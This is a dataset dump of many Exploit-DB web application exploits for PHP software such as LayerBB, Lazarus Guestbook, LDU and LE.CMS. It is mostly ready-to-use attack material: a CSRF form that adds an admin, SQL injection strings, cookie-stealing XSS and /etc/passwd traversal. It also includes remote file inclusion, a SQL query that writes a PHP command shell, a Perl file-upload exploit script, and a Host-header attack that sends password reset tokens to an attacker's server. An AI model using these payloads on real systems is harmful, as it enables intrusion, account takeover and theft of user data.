deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46379
Description: LayerBB 1.1.2 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2019-02-14
Author: 0xB9

Exploit:
# Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery
# Date: 10/4/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com
# Version: 1.1.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-17996


1. Description:
LayerBB is a free open-source forum software, the CSRF allows creating a admin user.
 

2. Proof of Concept:

<!-- Create Admin User -->  
<html>
  <body>
	<form action="http://localhost/[path]/admin/new_user.php" method="POST">
        <label for="username">Username</label>
        <input name="username" id="username" value="test" type="text">
        <label for="password">Password</label>
        <input name="password" id="password" value="password123" type="password">
        <label for="email">Email Address</label>
        <input name="email" id="email" value="test@localhost.co" type="text">               
        <label for="usergroup">Usergroup</label><br>
        <select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br>
        <input name="create" value="Create User" type="submit">
    </form>
  </body>
</html>
<!-- Create Admin User End -->


3. Solution:
Update to 1.1.3
Exploit-DB #46354
Description: LayerBB 1.1.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-02-12
Author: 0xB9

Exploit:
# Exploit Title: LayerBB 1.1.2 - Cross-Site Scripting
# Date: 11/19/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com/downloads.php?view=file&id=28
# Version: 1.1.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-7688


1. Description:
LayerBB is a free open-source forum software. The 2 XSS's found allows users to input a payload to Custom Profile Fields and the polls question & answers input via a new thread.


2. Proof of Concept:

PoC - Polls QnA
- Start a new thread
- Use a payload in the polls QnA input boxes  <script>alert('XSS')</script>
- Anyone who views the thread will execute payload

PoC - Custom Profile Fields
- Create a Custom Profile Field in ACP
- Then use an account from any usergroup & edit profile
- Input a payload in the bottom "Additional Profile Fields" textbox  <script>alert('XSS')</script>
- Anyone who views your profile will execute payload



3. Solution:
Update to 1.1.3
Exploit-DB #49593
Description: LayerBB 1.1.4 - 'search_query' SQL Injection
Type: webapps
Platform: php
Date: 2021-02-24
Author: Görkem Haşin

Exploit:
# Exploit Title: LayerBB 1.1.4 - 'search_query' SQL Injection
# Date: 2021-02-19
# Exploit Author: Görkem Haşin
# Version: 1.1.4
# Tested on: Linux/Windows

# POST /search.php HTTP/1.1
# Host: Target

Payload: search_query=Lffd') AND 8460=(SELECT (CASE WHEN (8460=8460) THEN 8460 ELSE (SELECT 1560 UNION SELECT 2122) END))-- -&search_submit=Search
Exploit-DB #45530
Description: LayerBB Forum 1.1.1 - 'search_query' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-04
Author: Ihsan Sencan

Exploit:
# Exploit Title: LayerBB Forum 1.1.1 - 'search_query' SQL Injection
# Exploit Author: Ihsan Sencan
# Dork: N/A
# Date: 2018-10-04
# Vendor Homepage: https://layerbb.com/
# Software Link: https://demo.layerbb.com/
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# POST /search.php HTTP/1.1
# Host: Target

search_query=S' RLIKE (SELECT (CASE WHEN (111=111) THEN 0x73 ELSE 0x28 END)) AND 'X'='X&search_submit=Search
Exploit-DB #11120
Description: Layout CMS 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-12
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _           
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ / 
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_0_9 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+

    [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
    [?] LayoutCMS 1.0 (SQL/XSS) Multiple Remote Vulnerabilities
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ LayoutCMS 1.0 ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://layoutcms.com/]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ] 
########################################################################
  
===[ Exploit SQL ]===
  
[»]Exploit : [Path]/preview.php?id=[inject c0dE]
 
[»]dem0: http://server/preview.php?id=-1+union+select+1,2,concat%28pass,0x3e,uname%29,4,5,6,7,8,9,10+from+layout_demo.users

[~] look For ThE Title xD


==============================================================================

===[ Exploit XSS ]===
  
[»]Exploit : [Path]/preview.php?id=[XSS Vuln]
 
[»]dem0: http://server/preview.php?id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E

==============================================================================

#sEc-r1z.com Str1kEz y0u !
Exploit-DB #24303
Description: Layton Technology HelpBox 3.0.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-07-21
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/10776/info

It is reported that HelpBox is susceptible to multiple SQL injection vulnerabilities. This issue is due to improper sanitization of user-supplied data. 

These problems present themselves when malicious SQL statements are passed to certain scripts.

Some scripts require administrative privileges to HelpBox. One script reportedly allows exporting any table in the SQL server.

These issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

HelpBox version 3.0.1 is reported vulnerable to these issues.

http://www.example.com/laytonhelpdesk/editcommentenduser.asp?sys_comment_id=1'
Exploit-DB #35605
Description: Lazarus Guestbook 1.22 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-12-24
Author: TaurusOmar

Exploit:
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 

# Exploit Title: Lazarus Guestbook 1.22 Multiple Persistent Cross-Site Scripting - Sql Injection Vulnerability 
# Date: 23/12/2014
# Url Vendor: http://carbonize.co.uk/Lazarus/
# Vendor Name: Lazarus
# Version: 1.22
# CVE: CVE-2014-2239
# Author: TaurusOmar  
# Tiwtter: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High

#Description
Lazarus is a free guestbook script written in PHP that uses your MySQL database for storage and is based upon the excellent Advanced Guestbook script from Proxy2.
I took the Advanced Guestbook and added more features and several layers of anti spam protection to make one of the most feature rich and spam resistant guestbook scripts available for free.
I am always active on the forums and you can rest assured that if the spammers find a way past the current anti spam methods that I have others waiting in the wings. You can read my own guestbook to see what other people have had to say about Lazarus and my anti spam fixes for Advanced Guestbook.


---------------------------------
+ MULTIPLE CROSS SITE SCRIPTING + 
---------------------------------
#Exploiting Description - Multiple Cross Site Scripting in multiple boxes in plataform


#P0c [1]: Get into code xss in the ad block box
<textarea class="input" id="ad_code" name="ad_code" wrap="virtual" rows="14" cols="41">CODE XSS&lt;/textarea&gt;

#P0c [2]: Get into code xss in the smile name box
<input type="text" size="25" value="CODE XSS" name="s_emotion">

#P0c [3]: Get into code xss in the font style box
<input type="text" class="input" maxlength="70" size="38" value="CODE XSS" name="font_face">

#P0c [4]: Get into code xss in the security box
<input type="text" class="input" value="CODE XSS" size="29" name="comment_pass">

#P0c [5]: Get into code xss in the email notification box
<input type="text" class="input" maxlength="60" size="30" value="CODE XSS" name="book_mail">

#P0c [6]: Get into code xss in the tags box
<input type="text" class="input" maxlength="60" size="30" value="CODE XSS" name="allowed_tags">


#Proof Concept
http://i.imgur.com/sczND0w.jpg
http://i.imgur.com/SNMFRCV.jpg
http://i.imgur.com/OR2RTc1.jpg
http://i.imgur.com/xNX6Ln0.jpg
http://i.imgur.com/dlqSpLM.jpg
http://i.imgur.com/JESZTCz.jpg

------------------------
+    SQL INJECTION     +
------------------------
# Exploiting Description - Sql Injection in control panel of admin and others users. 

#P0c
http://site.com/lazarus/admin.php?action=settings&panel=general&gbsession="RANDOM_TOKEN"&uid=[sql]

#Proof Concept
http://i.imgur.com/36JamRc.jpg
Exploit-DB #28211
Description: Lazarus Guestbook 1.6 - 'codes-english.php?show' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-12
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/18956/info

Lazarus Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 1.6; other versions may also be vulnerable.

http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS] 
http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cookie);</script>
Exploit-DB #28212
Description: Lazarus Guestbook 1.6 - 'picture.php?img' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-12
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/18956/info
 
Lazarus Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 1.6; other versions may also be vulnerable.

http://www.example.com/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS] 
http://www.example.com/lazarusgb/picture.php?img=../img/home.gif%00%22%3E<script>alert(document.cookie);</script>
Exploit-DB #19771
Description: Lc Flickr Carousel 1.0 - Local File Disclosure
Type: webapps
Platform: php
Date: 2012-07-12
Author: GoLd_M

Exploit:
# Exploit Title: Lc Flickr Carousel V1.0 => Local File Disclosure Vulnerability
# Date: 11/07/2012
# Author: GoLd_M
# Vendor or Software Link: http://code.google.com/p/lcflickr/downloads/list
# Version: 1.0
# Category::  Local File Disclosure Vulnerability2
# Tested on: Xp SP 2
# Ex : 	[Lc Flickr Carousel V1.0]/scripts/getImage.php?file=../../../../../../../../../../../../../../etc/passwd
# See Test :  http://upload.traidnt.net/upfiles/66w29123.jpg
Exploit-DB #7341
Description: lcxbbportal 0.1 alpha 2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-12-04
Author: NoGe

Exploit:
=============================================================================================================


  [o] lcxBBportal 0.1 Alpha 2 Remote File Inclusion Vulnerability

       Software : lcxBBportal version 0.1 Alpha 2
       Vendor   : http://code.google.com/p/lcxbbportal/
       Download : http://code.google.com/p/lcxbbportal/downloads/list/lcxbbportal-0.1.A2.tar.gz
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=============================================================================================================


  [o] Vulnerable file

       portal/includes/portal_block.php

	include($phpbb_root_path . 'includes/bbcode.' . $phpEx);

       includes/acp/acp_lcxbbportal.php

	$phpbb_portal_path = $phpbb_root_path . 'portal/';
	require_once($phpbb_portal_path . 'includes/portal_block.' . $phpEx);
	require_once($phpbb_portal_path . 'includes/adm_portal_block.' . $phpEx);
	include($phpbb_root_path . 'includes/functions_display.' . $phpEx);



  [o] Exploit

       http://localhost/[path]/portal/includes/portal_block.php?phpbb_root_path=[evilcode]
       http://localhost/[path]/includes/acp/acp_lcxbbportal.php?phpbb_root_path=[evilcode]


=============================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
=============================================================================================================

# milw0rm.com [2008-12-04]
Exploit-DB #35684
Description: LDAP Account Manager 3.4.0 - 'selfserviceSaveOk' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-02
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47674/info

LDAP Account Manager is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LDAP Account Manager 3.4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/ldap-account-manager-3.4.0/templates/login.php?selfserviceSaveOk=[XSS]
Exploit-DB #51275
Description: LDAP Tool Box Self Service Password v1.5.2 -  Account takeover
Type: webapps
Platform: php
Date: 2023-04-06
Author: Tahar BENNACEF

Exploit:
# Exploit Title:  LDAP Tool Box Self Service Password v1.5.2 -  Account takeover
# Date: 02/17/2023
# Exploit Author: Tahar BENNACEF (aka tar.gz)
# Software Link: https://github.com/ltb-project/self-service-password
# Version: 1.5.2
# Tested on: Ubuntu

Self Service Password is a PHP application that allows users to change
their password in an LDAP directory.
It is very useful to get back an account with waiting an action from an
administration especially in Active Directory environment

The password reset feature is prone to an HTTP Host header vulnerability
allowing an attacker to tamper the password-reset mail sent to his victim
allowing him to potentially steal his victim's valid reset token. The
attacker can then use it to perform account takeover


*Step to reproduce*

1. Request a password reset request targeting your victim and setting in
the request HTTP Host header the value of a server under your control

POST /?action=sendtoken HTTP/1.1
Host: *111.111.111.111*
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: https://portal-lab.ngp.infra
Referer: https://portal-lab.ngp.infra/?action=sendtoken
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

login=test.reset


As the vulnerable web application's relying on the Host header of the
password-reset request to craft the password-reset mail. The victim
receive a mail with a tampered link
[image: image.png]

2. Start a webserver and wait for the victim to click on the link

If the victim click on this tampered link, he will sent his password reset
token to the server set in the password-reset request's HTTP Host header
[image: image.png]

3. Use the stolen token to reset victim's account password


Best regards
Exploit-DB #2871
Description: LDU 8.x - 'polls.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-30
Author: ajann

Exploit:
*******************************************************************************
# Title   :  LDU <= 8.x (polls.php) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# Dork    :  "Powered by LDU"

*******************************************************************************

[[SQL]]]------------------------------------------------------

### http://[target]/[path]/polls.php?id=

Example:

//
polls.php?id='union%20select%200,0,0,0,char(60,63,105,110,99,108,117,100,101,40,36,99,109,100,41,59,63,62)%20from%20sed_users%20INTO%20OUTFILE%20'[path]/.php'/*

.php?cmd=[shell]
"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-30]
Exploit-DB #2819
Description: LDU 8.x - avatarselect id SQL Injection
Type: webapps
Platform: php
Date: 2006-11-21
Author: nukedx

Exploit:
LDU <= 8.x Remote SQL Injection (avatarselect id) Vulnerability
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: http://www.nukedx.com
Original advisory can be found at: http://www.nukedx.com/?viewdoc=51
----
GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL Inject]
GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_[CREDENTIAL_REDACTED]/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to 123456 
The XVALUE comes with your avatarselect link it's special to everyuser in LDU.
For using this vulnerability you must be logged in to LDU... 

# nukedx.com [2006-11-21]

# milw0rm.com [2006-11-21]
Exploit-DB #31528
Description: Le Forum - 'Fichier_Acceuil' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28423/info

Le Forum is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/forum_path/fora-acc.php3?Fichier_Acceuil=ZoRLu.txt?
Exploit-DB #5887
Description: LE.CMS 1.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-06-21
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

print <<INTRO;
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit  -
-                                                     -
 -                                                   - 
  -        Discovered && Coded By: t0pP8uZz         -    
   -          Discovered On: 19 JUNE 2008          -
   -                                               -
  -     Script Download: http://worldlevel.com      -
 -   milw0rm.com, h4ck-y0u.org, CiperCrew, offsec    -
 -                                                   -
- LE.CMS suffers from a arbitrary file upload vuln..  -
- .. this exploit will upload any file to the server  -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
INTRO

print "\nEnter Target URL(ie: http://site.com): ";
    chomp(my $host=<STDIN>);
    
print "\nEnter Local File Path To Upload(ie: C:\\file.txt): ";
    chomp(my $file=<STDIN>);

my $ext   = substr $file, rindex $file, '.';
my $fname = int rand 9999;
my $ua    = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );

my $re = $ua->request(POST $host . '/cms/admin/upload.php',
                        Content_Type =>   'form-data',
                        Content      => [ 'submit0'  => 'authed', # if script reads this as TRUE then the script thinks we have already authenticated the username/password, only 0 or undef is false
                                          'submit'   => 1, 
                                          'password' => 1, # as long as this is true we should be able to upload
                                          'filename' => $fname,
                                          'upload'   => [ $file ] ] );

die "Exploit Failed, HTTP Request Failed!" unless $re->is_success;

print "File Uploaded! Location: " . $host . "/cms/images/" . $fname . $ext . "\n";
exit;

# milw0rm.com [2008-06-21]
Exploit-DB #36647
Description: Lead Capture - 'login.php' Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-21
Author: HashoR

Exploit:
source: https://www.securityfocus.com/bid/51785/info

Lead Capture is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/admin/login.php?message=[XSS]